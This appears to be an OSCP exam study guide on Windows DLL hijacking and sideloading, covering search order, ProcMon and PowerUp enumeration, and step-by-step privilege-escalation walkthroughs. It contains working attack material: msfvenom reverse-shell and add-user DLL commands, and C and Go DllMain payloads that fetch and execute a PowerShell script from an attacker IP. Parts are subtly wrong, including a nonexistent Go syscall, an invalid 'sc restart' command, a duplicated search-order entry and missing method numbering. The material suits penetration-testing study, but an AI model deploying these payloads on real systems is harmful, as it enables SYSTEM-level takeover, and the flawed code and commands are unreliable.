Domain 4PrivEsc & Password AttacksCORE

DLL Hijacking

Comprehensive guide to DLL hijacking and DLL sideloading on Windows including search order manipulation, missing DLL exploitation, and Process Monitor usage.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#dll#hijacking#sideloading#search-order#windows

DLL Hijacking

Overview

DLL (Dynamic Link Library) hijacking and sideloading are among the most reliable and frequently encountered privilege escalation techniques on the OSCP exam. They exploit how Windows resolves and loads DLL dependencies — by placing a malicious DLL in a location that a target process searches before the legitimate one.

This topic provides a comprehensive deep dive into the DLL search order, the distinction between hijacking and sideloading, enumeration methodologies, payload creation, and complete exploitation walkthroughs.


DLL Search Order in Detail

The Standard DLL Search Order

When a Windows process calls LoadLibrary() or starts up and needs to load a DLL, the system searches for the DLL in a specific order. Understanding this order is the foundation of all DLL-based attacks.

Note: The exact order depends on whether SafeDLLSearchMode is enabled (default on Windows XP SP2 and later) and whether the process has a manifest.

SafeDLLSearchMode

SafeDLLSearchMode is enabled by default on all modern Windows systems. It changes the search order to prioritize system directories over the current directory, making simple DLL hijacking harder.

# Check if SafeDLLSearchMode is enabled
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v SafeDLLSearchMode

# Value 1 = Enabled (default on modern Windows)
# Value 0 = Disabled

Complete DLL Search Order (with SafeDLLSearchMode = ON)

Order Location Description Exploitation Relevance
1 Directory from which the process loaded the image The folder containing the executable itself HIGH — This is checked FIRST. If you can place a DLL here, it wins.
2 System directory (C:\Windows\System32) Core Windows system DLLs Low — usually not writable by attackers
3 16-bit System directory (C:\Windows\System) Legacy 16-bit system files Very low — rarely relevant
4 Windows directory (C:\Windows) Windows root directory Low — usually not writable
5 Application directory The directory containing the .exe (same as #1 for most cases) HIGH — Same as position 1
6 Current working directory The process’s current working directory (set by SetCurrentDirectory) MEDIUM — Depends on what directory the process is running from
7 Directories in the PATH environment variable Searched in order as listed in PATH HIGH — Writable PATH entries are exploitable

Complete DLL Search Order (with SafeDLLSearchMode = OFF)

Order Location Description
1 Directory from which the process loaded the image Same as above
2 Current working directory Moved UP — this is why SafeDLLSearchMode matters
3 16-bit System directory C:\Windows\System
4 System directory C:\Windows\System32
5 Windows directory C:\Windows
6 Directories in PATH Environment variable paths

Key Difference: With SafeDLLSearchMode OFF, the current directory (#2) is checked BEFORE system directories. This makes DLL hijacking trivially easy. With it ON (default), system directories come first, but position #1 (application directory) is still checked before System32 — which is why DLL hijacking still works.

Additional Search Mechanisms

Beyond the standard search order, Windows also checks:

Mechanism Description
AppLocalLoads Registry HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<exe>\AppLocalLoads — Custom DLL load paths
Known DLLs HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs — Pre-loaded DLLs that skip the search order
DLL Redirection .local files or .dll redirection entries can override search order
Manifests An application manifest can specify precise DLL load paths, bypassing the search order
LoadLibrary vs LoadLibraryEx LOAD_LIBRARY_SEARCH_DEFAULT_DIRS flag changes search behavior

DLL Hijacking vs DLL Sideloading

DLL Hijacking

DLL Hijacking occurs when a legitimate application tries to load a DLL that does not exist in its expected location (e.g., C:\Windows\System32\). The application searches the DLL search order, and if you place a malicious DLL with the same name in a location that is searched before the missing location (and that you control), the application loads your DLL instead.

Application: "I need helper.dll"
  ┌─ Search #1: App directory → NOT FOUND
  ┌─ Search #2: System32 → NOT FOUND (this is where it should be)
  ┌─ Search #3: Current dir → FOUND! (your malicious helper.dll)
  └─ Loads YOUR helper.dll → Code executes in the app's context

Key characteristics:

  • The DLL is missing from its expected location
  • You exploit the search order fallback
  • You need a writable directory in the search path
  • The target process must be running (or started) with the right working directory

DLL Sideloading

DLL Sideloading occurs when a legitimate, signed application loads a DLL that does exist alongside it. The attacker copies the legitimate application to a directory they control, places a malicious DLL with the same name as one of the application’s dependencies in that directory, and then tricks a high-privilege process (or user) into running the copied application.

Attacker copies:
  C:\Program Files\LegitApp\legit.exe  →  C:\Temp\legit.exe
  (Your malicious) helper.dll          →  C:\Temp\helper.dll

When legit.exe runs from C:\Temp\:
  ┌─ Search #1: C:\Temp\ → Finds helper.dll (YOUR malicious one!)
  └─ Loads YOUR helper.dll → Code executes

Key characteristics:

  • The DLL exists but is your malicious version
  • You relocate the legitimate binary to a writable directory
  • You need a high-privilege process to execute the relocated binary (or social engineering)
  • The legitimate binary is often signed (adds credibility, bypasses some restrictions)

Side-by-Side Comparison

Aspect DLL Hijacking DLL Sideloading
DLL exists in expected location? No (missing) Yes (but it’s yours)
What you exploit Search order fallback First-position search priority
What you place DLL in writable search path DLL + relocated EXE in writable dir
Requires signed binary? No Often uses signed binaries
Requires triggering execution? Yes (wait or trigger) Yes (trick someone/process to run it)
Typical target Services, scheduled tasks Admin-run tools, setup programs
Detection difficulty Medium Higher (uses legitimate signed binaries)

Visual Comparison

flowchart LR
    subgraph Hijacking["DLL HIJACKING"]
        H1[Target App needs missing.dll] --> H2[Searches System32: NOT FOUND]
        H2 --> H3[Searches writable dir: FOUND]
        H3 --> H4[Loads YOUR missing.dll]
    end

    subgraph Sideloading["DLL SIDELOADING"]
        S1[Copy signed.exe to writable dir] --> S2[Place YOUR dependency.dll there]
        S2 --> S3[Triggers signed.exe from writable dir]
        S3 --> S4[Searches own dir first: FOUND YOUR DLL]
        S4 --> S5[Loads YOUR dependency.dll]
    end

Enumeration

Method 1: PowerUp Find-PathHijack

# Import PowerUp
Import-Module .\PowerUp.ps1

# Find DLL hijack opportunities
Find-PathHijack

# Realistic output:
# [*] Running Check for Non-System Path with DLL Hijacking Opportunities...
#
#   [-] No DLL hijacking opportunities found in PATH.
#
# [*] Running Check for Non-Current Directory DLL Hijacking Opportunities...
#
#   Path           : C:\Program Files\SomeApp
#   Binary         : C:\Program Files\SomeApp\service.exe
#   MissingDll     : C:\Program Files\SomeApp\customhelper.dll
#   UserCanWrite   : True
#   Running        : True
#   RunningAs      : NT AUTHORITY\SYSTEM
#   Pid            : 1234

Method 2: LatentInjector

LatentInjector (by Martin) finds legitimate, signed binaries that can be relocated for DLL sideloading:

# Download: https://github.com/withmartin/LatentInjector

# Run to find sideloading opportunities
.\LatentInjector.exe

# Realistic output:
# [*] Scanning for legitimate binaries that load DLLs from the same directory...
#
# [+] Found: C:\Windows\System32\rrp.exe
#     Loads: rrpapi.dll from same directory
#     Signed: Yes (Microsoft Windows)
#     Suggested DLL name: rrpapi.dll
#
# [+] Found: C:\Program Files\Microsoft Office\root\Office16\GRAPH.EXE
#     Loads: mso.dll from same directory
#     Signed: Yes (Microsoft Corporation)
#     Suggested DLL name: mso.dll

Method 3: Process Monitor (ProcMon)

ProcMon (Process Monitor) from Sysinternals is the most powerful tool for identifying missing DLLs in real-time.

Setting Up ProcMon Filters

Step 1: Download ProcMon
  https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

Step 2: Start capturing
  Run ProcMon.exe (may need admin rights for full visibility)

Step 3: Add filters (Filter → Filter or Ctrl+L):
  1. Operation is "Load Image"  → Add → Include
  2. Result is "NAME NOT FOUND" → Add → Include
  3. Process Name is not "ProcMon.exe" → Add → Include

Step 4: Apply filters and watch for NAME NOT FOUND results

Interpreting ProcMon Results

Example ProcMon output:

Time         Process       Operation     Path                              Result
──────────   ───────       ─────────     ────                              ──────
10:30:15     service.exe   Load Image    C:\Program Files\App\helper.dll   NAME NOT FOUND
10:30:15     service.exe   Load Image    C:\Windows\System32\helper.dll    NAME NOT FOUND
10:30:15     service.exe   Load Image    C:\Windows\helper.dll             NAME NOT FOUND
10:30:15     service.exe   Load Image    C:\Temp\helper.dll                NAME NOT FOUND

How to interpret:

  1. service.exe is trying to load helper.dll
  2. It searched multiple locations (following the DLL search order)
  3. All returned NAME NOT FOUND — the DLL is missing
  4. If any of those directories is writable by you, you can place your malicious helper.dll there
  5. The first NAME NOT FOUND in the search order is your best target

Advanced ProcMon: Finding DLLs Loaded by Specific Processes

Filter setup for targeting a specific service:

1. Process Name is "service.exe"     → Add → Include
2. Operation is "Load Image"         → Add → Include
3. Path ends with ".dll"             → Add → Include

This shows ALL DLLs loaded by the target process.

Method 4: Dependencies Tool

Dependencies (modern replacement for Dependencies) is a GUI tool that shows all DLL dependencies of an executable:

# Download: https://github.com/lucasg/Dependencies

# Open the target executable in Dependencies
# It will show all imported DLLs and their resolution status
# Red/missing entries indicate DLL hijacking opportunities

Method 5: Manual PowerShell Enumeration

# Check which DLLs a process is trying to load
# by monitoring the process with Get-Process and checking its module list

Get-Process -Name "service" | ForEach-Object {
    $_.Modules | Select-Object ModuleName, FileName, Company, ProductVersion |
        Format-Table -AutoSize
}

# Check for writable directories in common DLL locations
$paths = @(
    "C:\Program Files\SomeApp",
    "C:\Program Files (x86)\SomeApp",
    "C:\Temp",
    "C:\Users\Public"
)

foreach ($path in $paths) {
    if (Test-Path $path) {
        $acl = Get-Acl $path
        $writeable = $acl.Access | Where-Object {
            ($_.IdentityReference -like "*Users*" -or
             $_.IdentityReference -like "*Everyone*") -and
            ($_.FileSystemRights -like "*Write*" -or
             $_.FileSystemRights -like "*Modify*")
        }
        if ($writeable) {
            Write-Host "[+] Writable directory: $path" -ForegroundColor Yellow
        }
    }
}

Creating Malicious DLLs

Method 1: msfvenom DLL Payload

# On Kali Linux:

# x64 DLL reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.20 LPORT=443 -f dll -o evil.dll

# x86 DLL reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.20 LPORT=443 -f dll -o evil.dll

# DLL with bind shell (if reverse is blocked)
msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 -f dll -o evil.dll

# DLL that executes a command
msfvenom -p windows/x64/exec CMD="cmd.exe /c net user hacker P@ss! /add" -f dll -o evil.dll

Method 2: Minimal DLL with DllMain Reverse Shell

A minimal DLL only needs to implement DllMain. This is useful when you can’t use msfvenom or want a smaller payload.

// minimal_dll.c
// Compile with: x86_64-w64-mingw32-gcc -shared -o evil.dll minimal_dll.c -lwininet

#include <windows.h>
#include <wininet.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        // Prevent thread creation overhead
        DisableThreadLibraryCalls(hModule);

        // Reverse shell via PowerShell download cradle
        // Or use WinINet for a simpler approach
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));

        // Execute cmd.exe with reverse shell
        CreateProcess(
            NULL,
            "cmd.exe /c powershell -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.20/invoker.ps1')\"",
            NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi
        );

        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    return TRUE;
}
# Compile on Kali:
x86_64-w64-mingw32-gcc -shared -o evil.dll minimal_dll.c -lwininet

# Or use a simpler approach with go:
# See Method 3 below
// evil.go
package main

import (
    "os/exec"
    "syscall"
)

//export DllMain
func DllMain(hInstance uintptr, reason uint32, reserved uintptr) bool {
    if reason == 1 { // DLL_PROCESS_ATTACH
        syscall.DisableLibraryCalls(hInstance)
        cmd := exec.Command("cmd.exe", "/c", "powershell", "-nop", "-exec", "bypass", "-c", "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.20/invoker.ps1')")
        cmd.Start()
    }
    return true
}

func main() {
    // Required for c-shared build
}
# Compile:
GOOS=windows GOARCH=amd64 go build -buildmode=c-shared -o evil.dll evil.go

Method 4: Resource Hacker DLL Template

For DLL sideloading, you often need a DLL with the correct exports to satisfy the loading application. A DLL template approach:

  1. Find the legitimate DLL that the application expects
  2. Use a DLL template that forwards most calls but executes your payload in DllMain
  3. Tools like donut can generate position-independent DLLs

Full Exploitation Walkthroughs

Walkthrough 1: DLL Hijacking (Missing DLL)

SCENARIO:
- Service "BackupSvc" runs as SYSTEM
- Binary: C:\Program Files\BackupApp\backup.exe
- It tries to load C:\Program Files\BackupApp\loghelper.dll
- loghelper.dll does NOT exist (NAME NOT FOUND in ProcMon)
- C:\Program Files\BackupApp\ is writable by Users group
# Step 1: Confirm the missing DLL with ProcMon
# Filter: Process Name = backup.exe, Operation = Load Image, Result = NAME NOT FOUND
# Result: C:\Program Files\BackupApp\loghelper.dll → NAME NOT FOUND

# Step 2: Confirm write access
icacls "C:\Program Files\BackupApp\"

# Output shows: NT AUTHORITY\Users:(I)(W) — writable!

# Step 3: Create malicious DLL
# On Kali:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.20 LPORT=443 -f dll -o loghelper.dll

# Step 4: Upload DLL to target
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.14.20/loghelper.dll', 'C:\Program Files\BackupApp\loghelper.dll')"

# Step 5: Set up listener
# On Kali:
sudo nc -lvnp 443
# or
sudo msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.14.20; set LPORT 443; run"

# Step 6: Trigger the service to reload
# Option A: Restart the service
sc stop BackupSvc
sc start BackupSvc

# Option B: If the service reloads DLLs periodically, just wait

# Step 7: Catch the SYSTEM shell!

Walkthrough 2: DLL Sideloading (Legitimate Binary Relocation)

SCENARIO:
- Found signed binary: C:\Program Files\Microsoft\HeforShe\heforshe.exe
- It loads: C:\Program Files\Microsoft\HeforShe\msedgedriver.dll (from same directory)
- C:\Temp is writable by everyone
- An admin runs heforshe.exe daily from a scheduled task
# Step 1: Copy the legitimate binary to a writable directory
copy "C:\Program Files\Microsoft\HeforShe\heforshe.exe" "C:\Temp\heforshe.exe"

# Step 2: Create malicious DLL with the expected name
# On Kali:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.20 LPORT=443 -f dll -o msedgedriver.dll

# Step 3: Upload the malicious DLL
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.14.20/msedgedriver.dll', 'C:\Temp\msedgedriver.dll')"

# Step 4: Now you need the admin (or a SYSTEM process) to run C:\Temp\heforshe.exe
# Options:
#   a) Wait for the scheduled task (if it runs from C:\Temp)
#   b) Modify a scheduled task to run C:\Temp\heforshe.exe
#   c) Place a shortcut in a location the admin will click
#   d) If you have write access to a task that runs as SYSTEM, change its command

# Step 5: When heforshe.exe runs from C:\Temp\:
#   - It searches C:\Temp\ first (position #1 in DLL search order)
#   - Finds YOUR msedgedriver.dll
#   - Loads it → your code executes in the context of heforshe.exe

# Step 6: Catch the shell!

Walkthrough 3: PATH-Based DLL Hijacking

SCENARIO:
- A service runs as SYSTEM
- The PATH environment variable contains C:\Program Files\OldApp\Utils
- This directory is writable by Users
- The service's binary loads "common.dll" which doesn't exist in System32
# Step 1: Verify the writable PATH directory
echo $env:PATH
# Contains: ...;C:\Program Files\OldApp\Utils;...

icacls "C:\Program Files\OldApp\Utils"
# Shows: NT AUTHORITY\Users:(I)(W)

# Step 2: Create the DLL
# On Kali:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.20 LPORT=443 -f dll -o common.dll

# Step 3: Upload to the PATH directory
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.14.20/common.dll', 'C:\Program Files\OldApp\Utils\common.dll')"

# Step 4: Restart the service or wait for it to reload
sc restart VulnerableService

# Step 5: Catch the SYSTEM shell!

DLL Search Order Hijack vs PATH Hijack

These are related but distinct techniques:

Aspect DLL Search Order Hijack PATH Environment Variable Hijack
Target DLL files (.dll) Executable files (.exe)
Mechanism Exploits DLL load search order Exploits PATH directory search order
What you create Malicious .dll file Malicious .exe file
Trigger Process loads a missing DLL Process calls an executable by name only
Search order DLL search order (7 positions) PATH environment variable directories
Example app.exe needs helper.dll → you provide it app.exe calls python.exe → your python.exe in PATH runs
PowerUp function Find-PathHijack (DLL section) Find-PathHijack (PATH section)

Legitimate DLL Sideloading: Finding Signed Binaries

The most powerful sideloading attacks use legitimate, signed binaries because:

  1. They bypass Application Whitelisting (the binary is signed by Microsoft/vendor)
  2. They have legitimate-looking names
  3. They often load DLLs from their own directory (position #1 in search order)

LatentInjector Approach

# LatentInjector automatically finds signed binaries suitable for sideloading
.\LatentInjector.exe

# It checks:
# 1. Is the binary signed? (adds credibility)
# 2. Does it load DLLs from its own directory?
# 3. What DLLs does it load?
# 4. Are those DLL names safe to reuse?

# Example output:
# [+] C:\Windows\System32\rrp.exe
#     Signed by: Microsoft Windows
#     Loads from same dir: rrpapi.dll
#     Action: Copy rrp.exe to writable dir, create malicious rrpapi.dll

Manual Approach

# Find all signed executables that load DLLs from their own directory
Get-ChildItem "C:\Program Files\*" -Recurse -Filter "*.exe" -ErrorAction SilentlyContinue |
    ForEach-Object {
        # Check if signed
        $sig = Get-AuthenticodeSignature $_.FullName -ErrorAction SilentlyContinue
        if ($sig.Status -eq "Valid") {
            # Check DLL imports (simplified — use Dependencies GUI for accuracy)
            Write-Host "[+] Signed: $($_.FullName)" -ForegroundColor Green
        }
    }

DLL Hijacking Flow Diagram

flowchart TD
    A[Start Enumeration] --> B{Choose Method}
    B -->|PowerUp| C[Find-PathHijack]
    B -->|ProcMon| D[Filter: NAME NOT FOUND]
    B -->|LatentInjector| E[Find signed binaries for sideloading]
    B -->|Manual| F[Check service paths + icacls]

    C --> G{Found missing DLL?}
    D --> G
    F --> G

    G -->|Yes - Hijacking| H[Identify writable directory in search order]
    G -->|Yes - Sideloading| I[Copy signed EXE to writable directory]

    H --> J[Create malicious DLL with msfvenom]
    I --> K[Create malicious DLL with expected name]

    J --> L[Upload DLL to writable directory]
    K --> M[Upload DLL alongside copied EXE]

    L --> N{How to trigger?}
    M --> N

    N -->|Service| O[Restart service]
    N -->|Scheduled Task| P[Wait or force task execution]
    N -->|User Interaction| Q[Social engineering / shortcut]

    O --> R[Catch reverse shell as elevated user]
    P --> R
    Q --> R

“DLL Hijacking Checklist”

ENUMERATION:
[ ] Run PowerUp Find-PathHijack                    (automated DLL + PATH hijack check)
[ ] Run ProcMon with NAME NOT FOUND filter         (real-time missing DLL detection)
[ ] Run LatentInjector                             (signed binary sideloading candidates)
[ ] Check service binary directories for write access
[ ] Check PATH environment variable for writable dirs
[ ] Review scheduled task working directories
[ ] Check current working directories of SYSTEM processes

ANALYSIS:
[ ] For each missing DLL: which directory in search order is writable?
[ ] For each signed binary: what DLLs does it load from its own directory?
[ ] Is the target process running as SYSTEM/Administrator?
[ ] Can I trigger the process to reload DLLs?

EXPLOITATION:
[ ] Create DLL payload (msfvenom / custom / Go)
[ ] Upload DLL to the correct location
[ ] Set up listener on Kali
[ ] Trigger the target process (restart service, run task, etc.)
[ ] Catch the elevated shell

CLEANUP:
[ ] Remove malicious DLL after successful exploitation
[ ] Restore original files if modified

OSCP Exam Tips

Quick DLL Hijack Detection

# The fastest way to check for DLL hijack opportunities:
# 1. PowerUp (covers everything)
Import-Module .\PowerUp.ps1
Find-PathHijack

# 2. If PowerUp misses something, use ProcMon:
#    - Filter: Operation = Load Image, Result = NAME NOT FOUND
#    - Look for paths you can write to

# 3. Quick PATH check:
$env:PATH -split ';' | ForEach-Object {
    $d = $_.Trim()
    if (Test-Path $d) {
        $a = Get-Acl $d
        $w = $a.Access | Where-Object {
            $_.IdentityReference -like '*Users*' -and
            ($_.FileSystemRights -like '*Write*' -or $_.FileSystemRights -like '*Modify*')
        }
        if ($w) { Write-Host "[!] Writable PATH dir: $d" -ForegroundColor Red }
    }
}

Key Exam Strategies

  1. ProcMon is your best friend — When in doubt, run ProcMon with the NAME NOT FOUND filter. It catches things PowerUp misses.

  2. Check service directories first — Services running as SYSTEM often have their binaries in writable directories, or they load DLLs from writable locations.

  3. DLL sideloading > DLL hijacking — Sideloading is more reliable because you control the entire directory. A missing DLL might never be loaded again if the application handles the error gracefully.

  4. Use signed binaries for sideloading — LatentInjector finds these automatically. A signed rrp.exe with your rrpapi.dll is much more likely to be executed by an admin than a random .exe.

  5. Architecture matters — Match your DLL architecture (x86 vs x64) to the target process. Use wmic os get osarchitecture to check.

  6. The DLL only needs DllMain — You don’t need to implement all the exports. DllMain with DLL_PROCESS_ATTACH is sufficient for code execution.

  7. Some applications verify DLL signatures — If the target application checks DLL signatures, your unsigned DLL will be rejected. In that case, focus on hijacking rather than sideloading.

  8. Don’t forget working directories — A scheduled task or service might run with a specific working directory. That directory becomes position #6 in the DLL search order (or #2 without SafeDLLSearchMode).

Tools to Have Ready

Tool Source Purpose
ProcMon.exe Sysinternals Real-time DLL load monitoring
PowerUp.ps1 HarmJ0y Automated hijack/sideloading detection
LatentInjector.exe withmartin Signed binary sideloading candidates
Dependencies lucasg (GitHub) GUI DLL dependency analyzer
msfvenom Metasploit DLL payload generation
x86_64-w64-mingw32-gcc Kali default Compile custom C DLLs

Common OSCP Lab DLL Hijack Patterns

Pattern Description
Service loads missing DLL from own directory Classic hijack — place DLL in service directory
Scheduled task with writable working directory DLL in working directory gets loaded
PATH contains writable directory Any missing DLL resolved from PATH
Signed binary with DLL dependency Sideloading — copy binary + place DLL
Application installs to user-writable path Full directory control — hijack any DLL